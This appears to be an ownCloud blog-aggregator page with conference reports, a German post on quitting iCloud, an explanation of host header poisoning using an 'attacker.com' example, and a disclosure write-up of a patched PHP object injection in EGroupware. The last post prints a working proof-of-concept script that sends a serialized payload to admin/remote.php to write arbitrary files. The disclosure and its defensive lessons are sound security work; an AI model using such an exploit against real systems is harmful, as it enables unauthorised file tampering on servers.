ownCloud Planet

ownCloud
ownCloud at FOSDEM 2015 and SCALE13x
February 28, 2015

We blogged back in January about the 2015 conference season being kicked off by FOSDEM and SCALE this February. Both have come and gone, but and we wanted to share some of the enthusiasm we encountered around ownCloud at these events!

Pictures by Jos Poortvliet and Dennis Rex
By Jos Poortvliet and Dennis Rex

FOSDEM and SCALE

Let’s start by introducing the two conferences we attended. FOSDEM (usually the first weekend in February) and SCALE (held around the 3rd weekend of the month) are the two biggest Open Source enthusiast events in Europe and the USA respectively, attracting anywhere between four and six thousand visitors to each event. The two events are very different, however. Where FOSDEM takes place at the ULB Solbosch university and has no registration whatsoever, SCALE takes place at the Hilton Los Angeles Airport and charges an entry fee. Also, while FOSDEM honors its title as the “Developer (European) Meeting” and features independently organized dev rooms, just a few centrally organized talk tracks, and booths spread out all over, the ‘Linux Expo’ usually has about a dozen tracks–organized by the paper committee–and two large exhibition rooms with booths. Both events are growing more popular each year and are offering exciting programs for a varied, yet loyal audience.

Pictures by Dennis Rex and Brian King
By Dennis Rex and Brian King

Both FOSDEM and SCALE video record all of the talks, so they can be streamed later. SCALE streams the videos directly on their website, while FOSDEM has a video archive that dates back several years. Even though the videos provide a certain view on the talks, the atmosphere of the rest of the venue can be best experienced from a photo collection site such as flickr. Click the following links to view the pictures from FOSDEM and SCALE. In this post you can also see a small selection of photos as well as a time-lapse video of our Saturday morning at the ownCloud booth at SCALE featured below.

 Pictures by Dennis Rex and Brian King
By Dennis Rex and Brian King

ownCloud at FOSDEM and SCALE

At both of these events a team of ownClouders ran a booth as well as presented one or more talks about subjects around ownCloud– privacy, security, cloud, federated sharing and owning your data—just to name a few. In total, several thousand fliers, stickers, pins and other cool giveaways were handed out by our booth crew during or after a conversation with the visitor.

The audiences at both of these events have been incredibly positive and inspiring! While there were some users who had questions, there were many people who had never heard of ownCloud and were interested in the basics of what ownCloud is and does. There were also others who just wanted to stop by to let us know how happy they were with ownCloud. Those who hadn’tknown about ownCloud already were pleasantly surprised, noting how glad they were to hear about it. Questions were seldom difficult to answer: people wondered how long ownCloud had been around (we just turned five), if it was open source (yes, with love), how many people contributed to it (719 and counting) and how many users it has (we estimate over 2 million, with 500,000 in this single deployment alone). Oh, and does it scale? The deployment linked above and the mention of users like CERN put most concerns to rest. Yes, ownCloud scales from Raspberry Pi to Atom Smashing size, yes, we’re awesome, and yes, it is amazing that not everybody knows about it yet!

 

Pictures by Dennis Rex and Horst JENS
By Dennis Rex and Horst JENS

You can read more on ownCloud’s presence at these events here for FOSDEM and here for SCALE.

At both events the booth was swamped with visitors and while the enthusiastic booth teams did a great job keeping up, we would very much welcome more help next year. If you’re planning to go to either of these events, or any other open source conferences, join our events mailing list to be kept up to date or checkout our events page to see where we are attending and of course, in general, keep on helping to promote ownCloud!

A special shout-out goes to ownCloud fans who plan on going to SouthEast Linux Fest and Texas Linux Fest in the US.We’d love to have a booth, but we’re going to need a little help with that. As for our European users – you can expect us soon at the Chemnitzer Linux Tage. And there too, help is more than welcome!

read more



Jos Poortvliet
LAX, SCALE, KDE, SUSE, GNOME and ownCloud
February 27, 2015

Lobby of the venue
Back home. Tired and jetlaggy, but satisfied: SCALE rocked!

SCALE loves ownCloud

The 13th South California Linux Expo was awesome! It is the biggest LinuxFest in the USA. While decidedly different in nature from Europe's biggest Linux event that that took place just three weeks prior (FOSDEM), we met similarly enthusiastic existing and future users. Conversations were also similar: about half the visitors already knew ownCloud, often using it or planning on deploying it; and the other half was more than a little delighted to hear about it, often exclaiming they had been looking for 'something like that' for a while. Negativity was extremely rare: I don't recall a single negative comment at SCALE (merely a few people who liked ownCloud but had no use for it personally), FOSDEM had one conversation starting unpleasantly but quickly turning around - even though one feature of ownCloud wasn't up to snuff, the user was happy with the experience as a whole.
Before the action started!

For most users, ownCloud was simply a wonderful product and they used it at home, deployed it for customers or managed it in their company. Some asked what features were coming or just arrived in ownCloud 8, or asked about the state of specific features and in more than one occasion they very enthusiastically told me how excited they were about ownCloud, how they loved it and how they were telling everybody to use it!

ownCloud to-go

Those who didn't know ownCloud were almost invariably surprised and excited. I can't count the times I heard "wow, why did I never hear about this before" and "dude, I've been looking for something like this for ever!". Often, people wondered how long ownCloud had been around (we just turned five), if it was open source (yes, with love), how many people contributed to it (719 and counting) and how many users it has (we guestimate over 2 million, with 500,000 in this single deployment alone). Oh, and, does it scale? The deployment linked above and a mention of users like CERN can put most concerns to rest. Yes, ownCloud scales from Raspberry Pi to Atom Smashing size.

What came up a few times as barriers to their future usage of ownCloud was pretty much what I discussed before. Running a server at home is not easy and I walked by the EFF booth to ask about progress on Let's Encrypt to ask about the progress of solving one aspect of that problem: more easily getting SSL certificates. I was told the project is on track for the 2nd half of this year.
Frank and Bryan Lunduke

It is wonderful to have such energizing, positive, enthusiastic users - and to have such an enthusiastic booth crew to talk to them as well. At the booth we had Frank, Matt, Ron, Camila and myself. Awesome it was and we had great fun! Below a timelapse video of Saturday morning. It was still rather quiet but it is nice to see us jump around!



Stuff and talk

Just like at FOSDEM, we brought ownCloud stickers, hand outs explaining ownCloud to users and developers as well as some posters for the booth and pins to give out. This was all very much appreciated - I estimate we gave out about 400 hand outs and 500 or so stickers as well as about 50-100 pins.

Sunday at 3PM, I gave a talk about Privacy and ownCloud, with Frank finishing off with a section about his talk at MIT where he discussed ownCloud's Federated Cloud sharing feature and where it is going. The talk was well received; I think the angle I took to privacy (inspired by my background in psychology) spoke to the audience and Frank's description of federation and how it's done in ownCloud was very interesting. owncloud.org and owncloud.com will feature blogs with some more information about this soon.

Friends

Big, big booth!
I also walked by the booths of 'old friends' - the openSUSE/GNOME/KDE crew in particular, it was awesome to meet them. Some I hadn't seen in years, others I met for the first time. They did an amazing job and richly deserve the reward they earned for most Stunningly Amazing Booth Crew (don't know the real name of the booth award but that's what it should be). If you think that 'just' GNOME an KDE being incorporated in the openSUSE booth isn't enough - Master Planner of the Booths Drew aims to bring in Enlightenment and XFCE as well next year. Supposedly a Trello board has been set up already. I bet it won't be long before it has grown to the point where the SCALE organization needs to give the 'openSUSE booth & friends' a separate hall at SCALE...

I have to note that it was thanks to our green friends that I could hang up the ownCloud flyers - they lend me some (green!) tape to do that.

The KDE booth had a bunch of terribly cool stickers (I only now realize I forgot to get one for myself!) as well as the "frameworks 5" flyers. I could only bring, like, 5 t-shirts and a dozen old 'join-the-game' flyers so I'm glad Bert Yerke and his wife, who formed the awesome local KDE team, had created the other materials. We already discussed 2016, as they have plenty of ideas on how to improve the booth!
Awesome stickers...

If you, dear reader, want to help out at the KDE or ownCloud booth next year - let me know, either in the comments or by mail. I can promise you: it is awesomely fun and by far not as scary as you might think! Bert and Matt and everybody who has ever been at a KDE, openSUSE, ownCloud or other FOSS booth can attest to that: it is a great way of getting involved and making a big difference!

Bonus points for who finds a suitable meaning for the one item in the title which isn't yet an acrynym ;-)

read more



Mark Ziegler
Der Tag der iCloud -Unabhängigkeit
February 27, 2015

Heute wurde es wahr, ich habe auf allen Apple-Geräten die Abmeldung an der iCloud vollzogen.

Es ist ein "saugutes" Gefühl! Es fühlt sich gut an und macht frei!

Das war ein langer Weg und warum ich diesen gehen musste?
Wen es interessiert, bitte weiterlesen.

Weiterlesen

read more



Lukas Reschke
A tale about trusted_domains
February 26, 2015

ownCloud is all about protecting your data and as part of our development cycle we’re proactively auditing and assessing the security of ownCloud. In fact, most security bugs that we fix are discovered by our very own security team and not by third-party researchers (although, keep those fixes coming third-party researchers!).

Many of the bugs with potential security impact are – from a technical point of view – trivial to patch and do not require any configuration changes by the ownCloud administrator. (i.e. you)

While reading a recent article on “Synchronize Your Life with ownCloud” published on the Linux Journal I stumbled upon the following sentence:

After all of the installation is complete, you won’t able to access your new ownCloud installation. To resolve this problem, you have to edit ./config/config.php and comment out the trusted_domains line. This is a security setting that determines which domains clients are able to connect from, and by default, limits access only to localhost. I happen to think the default values are a bit strict.

First let me say, this article, for the most part, was terrific – a simple primer on getting ownCloud up and running quickly, however…

The problem with it

The trusted_domains settings was introduced as a result of one of those exceptional security bugs that could require some manual intervention to be fully addressed.

Obviously, removing a configuration switch that was introduced for security reasons it not a viable option and we highly discourage it. In fact, with our upcoming ownCloud 8.1 release this switch cannot be removed anymore.

If even experts who write for reputable online magazines sometimes misunderstand this configuration switch, it is an indicator for us to publish a blog post explaining the reasoning behind the trusted_domains option within config.php. So we’re glad to be able to use this opportunity to explain the security impact of it.

Generally speaking this configuration option addresses a bug known to the security community as “Host Header Poisoning”.

As host in this context is the domain or IP address meant that you used when setting up your very own ownCloud instance. For example the host of our demo installation at “demo.owncloud.org” is obviously “demo.owncloud.org”.

When visiting a website such as “owncloud.org” your browser is - to put it greatly simplified and some technical incorrectness for the sake of simplicity - doing the following things:

  1. Resolving the IP address of owncloud.org (which is at the point of writing 50.30.33.236, you can find this out yourself by issuing nslookup owncloud.org from a terminal)
  2. Connecting to said IP address via HTTP and instructing the server behind this address to give him the content of “owncloud.org”
  3. The server is then returning the content of “owncloud.org” to the browser which shows it to the end-user.

In step 2 what is given to the server is done via the so called “Host Header”. ownCloud uses the header value that have been given to it here also to create URLs, one prominent and obvious example is the “Password Reset Functionality” which sends via mail a link to reset the user’s password. (for example http://demo.owncloud.org/index.php/lostpassword/reset/form/{token}/{username})

But if an attacker would in step 2 send the domain “attacker.com”, the generated URL by ownCloud - which is sent to the real user via mail - would point to http://attacker.com/index.php/lostpassword/reset/form/{token}/{username}. If a user then clicks on the link the real password reset token is leaked to the attacker. This gets even worse if you consider that some commercial antivirus software automatically checks all links embedded in mails. There are also quite some other attack vectors, that’s only the most obvious and easiest to explain one.

Technologies are often built to be forgiving, that means that even if an input does not technically make 100% sense, modern parsers are trying to make sense out of it. So even if you have different virtual hosts (that is: hosting several websites on the same server) there are some ways to trick the web server to deliver the request to the correct virtual host.

That’s why we introduced the trusted_domains setting, using this setting you can define which hosts are considered acceptable. So if only “demo.owncloud.org” is defined you cannot access the instance anymore with a forced header of “attacker.com”.

Making administrators life easier

Because we all know that fiddling manually in the config might be cool but can be quite complex we added a new wizard to ownCloud 7.0.2 allowing you to add new domains to the trust list with just a few clicks:

Graphical Trusted Domain Editor in ownCloud

Also when installing ownCloud it will automatically add the domain/IP that has been used while setting it up to the trust list.

To sum it up: This is an important setting which greatly enhances the security level of your ownCloud installation and you should take the time to configure it properly.

That said, I personally appreciate any article about ownCloud and highly recommend you to take a look at “Synchronize Your Life with ownCloud” published on the Linux Journal.

Let us know if you have any questions about this headers or have further ideas how we can improve ownCloud! Together we as a community can make ownCloud the best available solution.

read more



Lukas Reschke
Diving into EGroupware: Object Injection
February 22, 2015

Last weekend my colleague Andreas Fischer and I decided to take a look at EGroupware which is a PHP-based groupware used by quite some renowned organizations especially in the German speaking part of Europe (for example Universities). Our 4 hour short audit lead to the discovery and patching of a few vulnerabilities, in this post I’m going to feature one of these bugs. More specifically a PHP Object Injection.

This post will also explain some basics about PHP Object Injections hopefully in a way that PHP developer should be able to understand them. The bug pointed out in this post is fixed in the newest available EGroupware version and has not yet any CVE assigned.

DISCLAIMER: Any knowledge gained by the following blog post shall be used for educational and research purposes only. The misuse of this information can result in criminal charges. (unless you are one of those NSA spies not caring about the law and data privacy)

What is serialization in a nutshell?

Serialization as a term describes generating a storable representation of a value and is pretty common in all languages. In PHP this means storing values in a text form without losing their type and structure. A common use-case is for example storing such values in the database or caching PHP objects.

Because a code snippet says usually more than thousand words, let’s take a look at the following code snippet. In this example we’re defining a class MyClass, instantiating it in $myClass and finally serizalizing the output:

<?php
class MyClass {
	public $string = '';

	function setString($value) {
		$this->string = $value;
	}

	function getString() {
		return $this->string;
	}
}

$myClass = new MyClass();
$myClass->setString('MyValue');

$serialized = serialize($myClass);
echo($serialized);

The output of the script would here be O:7:"MyClass":1:{s:6:"string";s:7:"MyValue";} which is the serialized value of $myClass. Developer can now use unserialize on this string which will instantiate the same class again with the same non-static class members. In the following script we’re doing exactly that which means that the output of this script will be MyValue:

<?php
class MyClass {
	public $string = '';

	public function setString($value) {
		$this->string = $value;
	}

	public function getString() {
		return $this->string;
	}
}

$myUnserializedClass = unserialize('O:7:"MyClass":1:{s:6:"string";s:7:"MyValue";}');
echo($myUnserializedClass->getString());

Where is the problem?

As your gut feeling might already tell you, passing user-input into unserialize might be a bad idea as an adversary could initialize any autoloaded class.

And this assumption is correct, when unserializing an object PHP will call magic functions such as __wakeup(). But also functions like __destruct() when there are no further references to the object.

Especially the __destruct() function is often used to perform clean-up jobs. For example changing some file contents or executing SQL queries. If one of the class members is passed to these functions this might allow an attacker to do nasty stuff as they are adversary controlled.

EGroupware and the unserialization

EGroupware uses unserialize a lot in the current the code-base, as a first step we grepped through all usages and tried to determine how likely it is that user-supplied input can be passed to this function.

We finally stumbled upon admin_cmd::instanciate($data) which looked like the following:

<?php

static function instanciate(array $data)
{
	if (isset($data['data']) && !is_array($data['data']))
	{
		$data['data'] = unserialize($data['data']);
	}
	
}

Using a decent IDE we traced back all usages of admin_cmd::instanciate and found the following usage in admin/remote.php:

<?php

$data = isset($_POST['uid']) ? $_POST : $_GET;

$cmd = admin_cmd::instanciate($data);

$cmd->check_remote_access($_REQUEST['secret'],$config_passwd);

This should ring an alarm bell for any Security Researcher. In this code snipped it looks indeed like the permission is checked after admin_cmd::instanciate has been called. And this assumption turned indeed out to be correct, now we only had to find an autoloaded class which has some __destruct or __wakeup method that does some clean-up stuff that could potentially lead to a further privilege escalation.

Luckily, EGroupware uses a ton of third-party libraries which use these methods for a lot of different stuff. However, one example that does not rely on third-party stuff being loaded is etemplate_request_files. The destructor of this class is performing file actions such as file_put_contents and unlink on now user-controlled input:

<?php
class etemplate_request_files extends etemplate_request
{

	function __destruct()
	{
		if ($this->remove_if_not_modified && !$this->data_modified)
		{
			//error_log(__METHOD__."() destroying $this->id");
			@unlink(self::$directory.'/'.$this->id);
		}
		elseif (!$this->destroyed && $this->data_modified &&
			!file_put_contents($filename = self::$directory.'/'.$this->id,serialize($this->data)))
		{
			error_log("Error opening '$filename' to store the etemplate request data!");
		}
	}
}

Constructing a payload that allows creation and deletion of arbitrary files on the server was now not far away. For actual exploitation it’s the copy the properties from the affected classes and modify them as wished. In this case this also means extending etemplate_request:

<?php
$remoteServer = 'http://{RemoteAddress}/egroupware/admin/remote.php';

// Serialize our dangerous payload
class etemplate_request {
   protected $data=array();
   protected $data_modified=false;
   protected $remove_if_not_modified=false;
   static protected $mcrypt;
   static public $compression_level = 6;
   static public $request_class;
}
class etemplate_request_files extends etemplate_request {
   function __construct(){}
   protected $id = '/tmp/HACKED';
   public $destroyed = false;
   protected $data_modified = 123;
   protected $data = "HACKED";
}
$popchain = serialize(new etemplate_request_files());

// Fire it to the remote server, the UID and Co. are to bypass some sanity
// checks
$exploitQuery = "?uid=a&type=b&creator_email=c&data=".urlencode($popchain);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remoteServer . $exploitQuery);
curl_exec($ch);
curl_close($ch);

When executing this script the class etemplate_request_files would now get invoked and immediately destructed, leading to the following code path:

<?php
class etemplate_request_files extends etemplate_request
{

	function __destruct()
	{
		// $this->remove_if_not_modified is bool(false) - this if block will get skipped
		if ($this->remove_if_not_modified && !$this->data_modified)
		{
			//error_log(__METHOD__."() destroying $this->id");
			@unlink(self::$directory.'/'.$this->id);
		}
		// $this->destroyed is bool(false)
		// $this->data_modified is int(123)
		// self::$directory is undefined
		// $this->id is string(/tmp/HACKED)
		// $this->data is string(HACKED)
		elseif (!$this->destroyed && $this->data_modified &&
			!file_put_contents($filename = self::$directory.'/'.$this->id,serialize($this->data)))
		{
			error_log("Error opening '$filename' to store the etemplate request data!");
		}
	}
}

Effectively using above script a file /tmp/HACKED with the content HACKED would have been created on the server running the EGroupware instance.

How it was fixed

The admin/remote.php file existed in similar since 2007 and turned out to be never actually have been used. The patch thus removed the remote admin interface and as an additional hardening modified admin_cmd::instanciate to not unserialize arbitrary PHP classes in the future.

Lessons learned

  1. Don’t ship unused files. If you use any somewhat modern source control software (such as Git) you can recover the file anytime later if you require it again.
  2. Don’t use unserialize if you don’t have to. In most cases using more secure methods such as json_decode will be sufficient as well. Though in future PHP versions there will be a more secure way to use unserialize. In this case the usage of json_decode would have achieved the same.
  3. If you use EGroupware: Update your instance right now. This is a critical vulnerability.

Get yourself involved with Open-Source Security

This does not mean that EGroupware would be inherently insecure or a bad product. Neither way it should be understood that there are not other bugs in EGroupware, it’s likely that there are others! It just shows again that way too few Security Researchers tend to contribute back to open-source projects.

However, communication with the EGroupware team was straightforward and they pushed a new release for this critical vulnerability as well as other bugs reported by us within less than three days.

I understand that the incentive offered by Bug Bounty programs might be more interesting than doing those kind of work for free, but still have the hope that at some point more parts of the security community understand that this kind of work can be rewarding as well. (though maybe not from a financial point-of-view)

read more